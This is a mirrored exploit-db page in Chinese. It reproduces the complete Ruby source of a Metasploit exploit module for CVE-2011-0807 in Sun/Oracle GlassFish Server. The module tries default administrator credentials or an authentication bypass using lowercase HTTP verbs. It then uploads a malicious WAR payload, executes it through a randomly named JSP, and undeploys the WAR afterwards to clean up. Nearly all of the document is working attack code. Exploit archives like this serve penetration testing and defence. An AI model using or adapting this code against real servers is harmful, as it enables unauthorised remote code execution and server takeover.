Sun/Oracle GlassFish Server – (Authenticated) Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2011-08-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17615/
  • ##
    # $Id: glassfish_deployer.rb 13485 2011-08-04 17:36:01Z hdm $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::EXE
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution",
    			'Description'=> %q{
    					This module logs in to an GlassFish Server 3.1 (Open Source or Commercial) 
    				instance using a default credential, uploads, and executes commands via deploying
    				a malicious WAR.On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
    				this module will try to bypass authentication instead by sending lowercase HTTP verbs.
    			},
    			'License'=> MSF_LICENSE,
    			'Version'=> "$Revision: 13485 $",
    			'Author' =>
    				[
    					#Msf module for Glassfish 3.0
    					'juan vazquez',
    					#Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1
    					'Joshua Abraham <jabra[at]rapid7.com>',
    					#Rewrite for 3.0, 3.1 (Commercial or Open Source)
    					'sinn3r',
    				],
    			'References' =>
    				[
    					['CVE', '2011-0807'],
    				],
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Automatic', { } ],
    					[
    						'Java Universal',
    						{
    							'Arch' => ARCH_JAVA,
    							'Platform' => 'java',
    						},
    					],
    					#
    					# platform specific targets only
    					#
    					[
    						'Windows Universal',
    						{
    							'Arch' => ARCH_X86,
    							'Platform' => 'win',
    						},
    					],
    					#
    					# platform specific targets only
    					#
    					[
    						'Linux Universal',
    						{
    							'Arch' => ARCH_X86,
    							'Platform' => 'linux',
    						},
    					],
    				],
    			'DisclosureDate' => "Aug 4 2011",
    			'DefaultTarget'=> 0))
    
    			register_options(
    				[
    					Opt::RPORT(4848),
    					OptString.new('APP_RPORT',[ true,'The Application interface port', '8080']),
    					OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
    					OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),
    					OptString.new('PATH', [ true,"The URI path of the GlassFish Server", '/'])
    				], self.class)
    	end
    
    	#
    	# Send GET or POST request, and return the response
    	#
    	def send_request(path, method, session='', data=nil, ctype=nil)
    
    		headers = {}
    		headers['Cookie'] = "JSESSIONID=#{session}" if session != ''
    		headers['Content-Type'] = ctype if ctype != nil
    		headers['Content-Length'] = data.length if data != nil
    
    		res = send_request_raw({
    			'uri' => path,
    			'method'=> method,
    			'data'=> data,
    			'headers' => headers,
    		}, 90)
    
    		#'vhost' => "#{datastore['rhost']}:#{datastore['rport']}"
    		return res
    	end
    
    	#
    	# Return target
    	#
    	def auto_target(session, res, version)
    		print_status("Attempting to automatically select a target...")
    
    		res = query_serverinfo(session,version)
    		return nil if not res
    		return nil if not res.body
    
    		plat = detect_platform(res.body)
    		arch = detect_arch(res.body)
    		
    		# No arch or platform found?
    		return nil if (not arch or not plat)
    
    		# see if we have a match
    		targets.each do |t|
    			return t if (t['Platform'] == plat) and (t['Arch'] == arch)
    		end
    
    		# no matching target found
    		return nil
    	end
    
    	#
    	# Return platform (win, linux, or osx)
    	#
    	def detect_platform(body)
    		body.each_line do |ln|
    			ln.chomp!
    			case ln
    			when /os\.name = (.*)/
    				os = $1
    				case os
    				when /Windows/
    					return 'win'
    				when /Linux/
    					return 'linux'
    				when /Mac OS X/
    					return 'osx'
    				end
    			end
    		end
    
    		return 'java'
    	end
    
    	#
    	# Return ARCH
    	#
    	def detect_arch(body)
    		body.each_line do |ln|
    			ln.chomp!
    			case ln
    			when /os\.arch = (.*)/
    				ar = $1
    				case ar
    				when 'x86', 'i386', 'i686'
    					return ARCH_X86
    				when 'x86_64', 'amd64'
    					return ARCH_X86
    				end
    			end
    		end
    	end
    
    	#
    	# Return server information
    	#
    	def query_serverinfo(session,version)
    		res = ''
    
    		if version == '2.x' or version == '9.x'
    			path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
    			res = send_request(path, @verbs['GET'], session)
    		else
    			path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
    			res = send_request(path, @verbs['GET'], session)
    
    			if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/))
    				path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
    				res = send_request(path, @verbs['GET'], session)
    			end
    		end
    
    		if (not res) or (res.code != 200)
    			print_error("Failed: Error requesting #{path}")
    			return nil
    		end
    
    		return res
    	end
    
    	#
    	# Return viewstate and entry before deleting a GlassFish application
    	#
    	def get_delete_info(session, version, app='')
    		if version == '2.x' or version == '9.x'
    			path = '/applications/webApplications.jsf'
    			res = send_request(path, @verbs['GET'], session)
    
    			if (not res) or (res.code != 200)
    				print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
    				return nil
    			end
    
    			input_id = "javax.faces.ViewState"
    			p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
    			viewstate = res.body.scan(p)[0][0]
    
    			entry = nil
    			p = /<a id="(.*)col1:link" href="https://www.exploit-db.com/exploits/17615/\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
    			results = res.body.scan(p)
    
    			results.each do |hit|
    				if hit[1] =~ /^#{app}/
    					entry = hit[0]
    					entry << "col0:select"
    				end
    			end
    
    		else
    			path = '/common/applications/applications.jsf?bare=true'
    			res = send_request(path, @verbs['GET'], session)
    
    			if (not res) or (res.code != 200)
    				print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
    				return nil
    			end
    
    			input_id = "javax.faces.ViewState"
    			p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/
    			viewstate = res.body.scan(p)[0][0]
    
    			entry = nil
    			p = /<a id="(.*)col1:link" href="https://www.exploit-db.com/exploits/17615/\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
    			results = res.body.scan(p)
    
    			results.each do |hit|
    				if hit[1] =~ /^#{app}/
    					entry = hit[0]
    					entry << "col0:select"
    				end
    			end
    		end
    
    		if (viewstate.nil?)
    			print_error("Failed: Error getting ViewState")
    			return nil
    		elsif (entry.nil?)
    			print_error("Failed: Error getting the entry to delete")
    		end
    
    		return viewstate, entry
    	end
    
    	#
    	# Send an "undeploy" request to Glassfish and remove our backdoor
    	#
    	def undeploy(viewstate, session, entry)
    		#Send undeployment request
    		data= [
    		"propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
    		"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
    		"&#{Rex::Text.uri_encode(entry)}=true",
    		"&propertyForm%3AhelpKey=ref-applications.html",
    		"&propertyForm_hidden=propertyForm_hidden",
    		"&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
    		"&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
    		"&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
    		"&javax.faces.partial.execute=%40all",
    		"&javax.faces.partial.render=%40all",
    		"&bare=true",
    		"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
    		"&javax.faces.partial.ajax=true"
    		].join()
    
    		path= '/common/applications/applications.jsf'
    		ctype = 'application/x-www-form-urlencoded'
    
    		res = send_request(path, @verbs['POST'], session, data, ctype)
    		if (not res)
    			print_error("Undeployment failed on #{path} - No Response")
    	 	else
    			if res.code < 200 or res.code >= 300
    				print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
    			end
    		end
    	end
    
    	#
    	# Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
    	# banner (ex: Sun Java System Application Server 9.x)
    	#
    	def get_version(res)
    		#Extract banner from response
    		banner = res.headers['Server']
    
    		#Default value for edition and glassfish version
    		edition = 'Commercial'
    		version = 'Unknown'
    
    		#Set edition (Open Source or Commercial)
    		p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
    		edition = 'Open Source' if banner =~ p
    
    		#Set version.Some GlassFish servers return banner "GlassFish v3".
    		if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/
    			version = $2
    		elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?)
    			version = $1
    		elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown')
    			version = '2.x'
    		elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown')
    			version = '9.x'
    		end
    
    		if version == nil or version == 'Unknown'
    			print_status("Unsupported version: #{banner}")
    		end
    
    		return edition, version, banner
    	end
    
    	#
    # Return the formatted version of the POST data
    #
    def format_2_x_war(boundary,name,value=nil, war=nil)
    data = ''
    
    		data << boundary
    		data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
    		data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
    		data << war
    		data << "\r\n"
    
    return data
    end
    
    	#
    	# Return the formatted version of the POST data
    	#
    	def format(boundary,name,value=nil, war=nil)
    		data = ''
    
    		if war
    			data << boundary
    			data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
    			data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
    			data << war
    			data << "\r\n"
    		else
    			data << boundary
    			data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
    			data << "\r\n\r\n"
    			data << "#{value}\r\n"
    		end
    
    		return data
    	end
    
    	#
    	# Return POST data and data length, based on GlassFish edition
    	#
    	def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='')
    		data = ''
    
    		if version == '3.0'
    
    			uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
    			uploadparam_data = "form:sheet1:section1:prop1:fileupload"
    
    			boundary = "--#{boundary}"
    
    			data = [
    				format(boundary, app_base, nil, war),
    				format(boundary, uploadParam_name, uploadparam_data),
    				format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
    				format(boundary, "form:sheet1:section1:prop1:action", "client"),
    				format(boundary, typefield, "war"),
    				format(boundary, "form:war:psection:cxp:ctx", app_base),
    				format(boundary, "form:war:psection:nameProp:appName", app_base),
    				format(boundary, "form:war:psection:vsProp:vs", ""),
    				format(boundary, status_checkbox, "true"),
    				format(boundary, "form:war:psection:librariesProp:library", ""),
    				format(boundary, "form:war:psection:descriptionProp:description", ""),
    				format(boundary, "form_hidden", "form_hidden"),
    				format(boundary, "javax.faces.ViewState", viewstate),
    				"#{boundary}--"
    			].join()
    		elsif version == '2.x' or version == '9.x'
    
    			uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
    			uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"
    
    			focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
    			focusElementId_data = 'form:title:topButtons:uploadButton'
    
    			boundary = "-----------------------------#{boundary}"
    
    			data = [
    				format_2_x_war(boundary, app_base, nil, war),
    				format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
    				format(boundary, "uploadRdBtn", "client"),
    				format(boundary, uploadParam_name, uploadParam_data),
    				format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
    				format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
    				format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
    				format(boundary, "form:title:ps:psec:vsp:vs", ""),
    				format(boundary, status_checkbox, "true"),
    				format(boundary, "form:title:ps:psec:librariesProp:library", ""),
    				format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
    				format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
    				format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
    				format(boundary, "form:helpKey", "uploaddev.html"),
    				format(boundary, "form_hidden", "form_hidden"),
    				format(boundary, "javax.faces.ViewState", viewstate),
    				format(boundary, focusElementId_name, focusElementId_data),
    				"#{boundary}--"
    			].join()
    		else
    
    			boundary = "-----------------------------#{boundary}"
    
    			#Setup dynamic arguments
    			num1 = start.to_i
    			num2 = num1 + 14
    			num3 = num2 + 2
    			num4 = num3 + 2
    			num5 = num4 + 2
    			num6 = num5 + 2
    			num7 = num6 + 1
    
    			id0 = num4
    			id1 = num4 + 1
    			id2 = num4 + 2
    			id3 = num4 + 3
    			id4 = num4 + 4
    			id5 = num4 + 5
    			id6 = num4 + 6
    			id7 = num4 + 7
    			id8 = num4 + 8
    			id9 = num4 + 9
    
    			uploadParam_name= "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
    			uploadParam_value = "form:sheet1:section1:prop1:fileupload"
    
    			focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
    			focusElementId_data = "form:title2:bottomButtons:uploadButton"
    
    			data = [
    				format(boundary,"uploadRdBtn","client"),
    				## web service
    				format(boundary, app_base, nil, war),
    				## sheet1
    				format(boundary, uploadParam_name, uploadParam_value),
    				format(boundary,"form:sheet1:section1:prop1:extension",".war"),
    				format(boundary,"form:sheet1:section1:prop1:action","client"),
    				format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
    				format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
    				format(boundary,"form:appClient:psection:descriptionProp:description"),
    				## war
    				format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
    				format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
    				format(boundary,"form:war:psection:vsProp:vs"),
    				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
    				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
    				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
    				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
    				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
    				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
    				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
    				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
    				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
    				format(boundary,"form:war:psection:librariesProp:library"),
    				format(boundary,"form:war:psection:descriptionProp:description"),
    				format(boundary,"form_hidden","form_hidden"),
    				format(boundary,"javax.faces.ViewState","#{viewstate}"),
    				format(boundary, focusElementId_name, focusElementId_data)
    			].join()
    
    			item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
    			item_list_data = "|server|com.sun.webui.jsf.separator|"
    
    			item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
    			item_value_data = "server"
    
    			data << format(boundary, item_list_name, item_list_data)
    			data << format(boundary, item_value_name, item_value_data)
    			data << "#{boundary}--"
    			data << "\r\n\r\n"
    
    		end
    
    		return data
    	end
    
    	#
    	# Upload our payload, and execute it.This function will also try to automatically
    	# clean up after itself.
    	#
    	def upload_exec(session, app_base, jsp_name, target, war, edition, version)
    		if version == '2.x' or version == '9.x'
    			path = "/applications/upload.jsf?appType=webApp"
    			res = send_request(path, @verbs['GET'], session)
    
    			#Obtain some properties
    			begin
    				p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi
    				p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
    				viewstate = res.body.scan(p1)[0][0]
    				status_checkbox = res.body.scan(p2)[0][0]
    				boundary= rand_text_alphanumeric(28)
    			rescue
    				print_error("Unable to gather required data for file upload")
    				return
    			end
    		else
    			path = "/common/applications/uploadFrame.jsf"
    			res = send_request(path, @verbs['GET'], session)
    
    			#Obtain some properties
    			begin
    				#start is only for dynamic arguments in POST data
    				res.body =~ /propertySheetSection(\d{3})/
    				start = $1
    				p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi
    				p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
    				p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/
    
    				rnd_text = rand_text_alphanumeric(29)
    
    				viewstate = res.body.scan(p1)[0][0]
    				typefield = res.body.scan(p2)[0][0]
    				status_checkbox = res.body.scan(p3)[0][0]
    				boundary= (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
    			rescue
    				print_error("Unable to gather required data for file upload")
    				return
    			end
    		end
    
    		#Get upload data
    		if version == '3.0'
    			ctype = "multipart/form-data; boundary=#{boundary}"
    		elsif version == '2.x' or version == '9.x'
    			ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
    typefield = ''
    start = ''
    		else
    			ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
    		end
    
    		post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate)
    
    		#Upload our payload
    		if version == '2.x' or version == '9.x'
    			path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
    		else
    			path= '/common/applications/uploadFrame.jsf?'
    			path << 'form:title:topButtons:uploadButton=Processing...'
    			path << '&bare=false'
    		end
    		res= send_request(path, @verbs['POST'], session, post_data, ctype)
    
    		#Print upload result
    		if res and res.code == 302
    			print_status("Successfully uploaded")
    		else
    			print_error("Error uploading #{res.code}")
    			return
    		end
    
    		#Execute our payload using the application interface (no need to use auth bypass technique)
    		jsp_path = "/" + app_base + "/" + jsp_name + ".jsp"
    		nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
    			{
    				'Msf'=> framework,
    				'MsfExploit' => self,
    			}
    		)
    
    		print_status("Executing #{jsp_path}...")
    		req = nclient.request_raw({
    			'uri' => jsp_path,
    			'method'=> 'GET',
    		})
    
    		if (req)
    			res = nclient.send_recv(req, 90)
    		else
    			print_status("Error: #{rhost} did not respond on #{app_rport}.")
    		end
    
    		#Sleep for a bit before cleanup
    		select(nil, nil, nil, 5)
    
    		#Start undeploying
    		print_status("Getting information to undeploy...")
    		viewstate, entry = get_delete_info(session, version, app_base)
    		if (not viewstate)
    			raise RuntimeError, "Unable to get viewstate"
    		elsif (not entry)
    			raise RuntimeError, "Unable to get entry"
    		end
    
    		print_status("Undeploying #{app_base}...")
    		undeploy(viewstate, session, entry)
    
    		print_status("Undeployment complete.")
    	end
    
    	#
    	# Try to login to Glassfish with a credential, and return the response
    	#
    	def try_login(user, pass)
    		data= "j_username=#{Rex::Text.uri_encode(user.to_s)}&"
    		data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&"
    		data << "loginButton=Login"
    
    		path = '/j_security_check'
    		res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded')
    
    		return res
    	end
    
    	def log_success(user,pass)
    		print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'")
    		report_auth_info(
    			:host => rhost,
    			:port => rport,
    			:sname=> 'http',
    			:user => user,
    			:pass => pass,
    			:proof=> "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
    			:active => true
    		)
    	end
    
    	def try_default_glassfish_login(version)
    		success = false
    		session = ''
    		res = ''
    		if version == '2.x' or version == '9.x'
    			user = 'admin'
    			pass = 'adminadmin'
    
    			print_status("Trying default credential GlassFish 2.x #{user}:'#{pass}'....")
    			res = try_login(user,pass)
    			if res and res.code == 302
    				session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
    				res = send_request('/applications/upload.jsf', 'GET', session)
    
    				p = /<title>Deploy Enterprise Applications\/Modules/
    				if (res and res.code.to_i == 200 and res.body.match(p) != nil)
    					success = true
    				end
    			end
    
    		else
    			user = 'admin'
    			pass = ''
    
    			print_status("Trying default credential GlassFish 3.x #{user}:'#{pass}'....")
    			res = try_login(user,pass)
    			if res and res.code == 302
    				session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
    				res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)
    
    				p = /<title>Deploy Applications or Modules/
    				if (res and res.code.to_i == 200 and res.body.match(p) != nil)
    					success = true
    				end
    end
    		end
    
    		if success == true
    			log_success(user,pass)
    		else
    			msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
    			print_error(msg)
    		end
    
    		return success, res, session
    	end
    
    	def try_nondefault_glassfish_login(version,user,pass)
    
    		print_status("Trying credential #{user}:'#{pass}'....")
    		success = false
    		session = ''
    
    		res = try_login(user, pass)
    		if version == '2.x' or version == '9.x'
    			if res and res.code == 302
    				session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
    				res = send_request('/applications/upload.jsf', 'GET', session)
    
    				p = /<title>Deploy Enterprise Applications\/Modules/
    				if (res and res.code.to_i == 200 and res.body.match(p) != nil)
    					success = true
    end
    end
    		else
    			if res and res.code == 302
    				session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
    				res = send_request('/common/index.jsf', 'GET', session)
    
    				p = /<title>Deploy Applications or Modules/
    				if (res and res.code.to_i == 200 and res.body.match(p) != nil)
    					success = true
    				end
    			end
    		end
    
    		if success == true
    			log_success(user,pass)
    		else
    			msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
    			print_error(msg)
    		end
    
    		return success, res, session
    	end
    
    
    	def try_glassfish_auth_bypass(version)
    		print_status("Trying GlassFish authentication bypass..")
    		success = false
    
    		if version == '2.x' or version == '9.x'
    			res = send_request('/applications/upload.jsf', 'get')
    			p = /<title>Deploy Enterprise Applications\/Modules/
    			if (res and res.code.to_i == 200 and res.body.match(p) != nil)
    				success = true
    			end
    		else
    			# 3.0
    			res = send_request('/common/applications/uploadFrame.jsf', 'get')
    			p = /<title>Deploy Applications or Modules/
    			if (res and res.code.to_i == 200 and res.body.match(p) != nil)
    				success = true
    			end
    		end
    
    		if success == true
    			print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass")
    			report_auth_info(
    				:host => rhost,
    				:port => rport,
    				:sname=> 'http',
    				:user => '',
    				:pass => '',
    				:proof=> "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
    				:active => true
    			)
    		else
    			print_error("#{target_host()} - GlassFish - Failed authentication bypass")
    		end
    
    		return success
    	end
    
    	def target_host
    		path= datastore['PATH']
    		target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
    	end
    
    	def exploit
    		user= datastore['USERNAME']
    		pass= datastore['PASSWORD']
    		path= datastore['PATH']
    		target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
    		success = false
    		session = ''
    		edition = ''
    		version = ''
    
    		#Invoke index to gather some info
    		res = send_request('/common/index.jsf', 'GET')
    
    		if res.code == 302
    			res = send_request('/login.jsf', 'GET')
    		end
    
    		#Get GlassFish version
    		edition, version, banner = get_version(res)
    		print_status("Glassfish edition: #{banner}")
    
    		#Get session
    		res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /
    		session = $1
    
    		#Set HTTP verbs.lower-case is used to bypass auth on v3.0
    		@verbs = {
    			'GET'=> (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET',
    			'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST',
    		}
    		
    		#auth bypass
    		if version == '3.0' or version == '2.x' or version == '9.x'
    			success = try_glassfish_auth_bypass(version)
    		end
    
    		#BUG caused us to skip default cred checks on sun applicaiton server 9.x 
    		if success == false and version != '9.x'
    			#default credentials
    			success,res,session_login = try_default_glassfish_login(version)
    			if success == false
    				if (
    					( (version == '2.x' ) and (user != 'admin' and pass != 'adminadmin') )or 
    					( (version =~ /^3\./) and (user != 'admin' and pass != '') )
    				)
    					#non-default login
    					success,res,session_login = try_nondefault_glassfish_login(version,user,pass)
    				end
    			end
    		end
    
    		#Start attacking
    		if success
    			session = session_login if (session_login =~ /\w+/)
    			#Set target
    			mytarget = target
    			mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/
    			raise RunTimeError, "Unable to automatically select a target" if (not mytarget)
    
    			#Generate payload
    			p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
    
    			jsp_name = rand_text_alphanumeric(4+rand(32-4))
    			app_base = rand_text_alphanumeric(4+rand(32-4))
    
    			war = p.encoded_war({
    				:app_name=> app_base,
    				:jsp_name=> jsp_name,
    				:arch=> mytarget.arch,
    				:platform=> mytarget.platform
    			}).to_s
    
    			#Upload, execute, cleanup, winning
    			print_status("Uploading payload...")
    			res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version)
    		else
    			print_error("#{target_host()} - GlassFish - Failed to authenticate login")
    		end
    
    	end
    end